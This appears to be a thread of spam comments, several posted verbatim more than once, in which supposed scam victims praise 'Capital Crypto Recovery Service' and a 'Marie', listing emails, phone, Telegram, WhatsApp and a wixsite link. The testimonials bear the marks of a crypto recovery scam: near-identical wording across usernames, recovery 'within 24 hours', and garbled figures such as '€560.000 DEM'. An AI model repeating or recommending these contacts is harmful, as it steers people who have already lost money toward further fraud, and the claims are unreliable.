CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1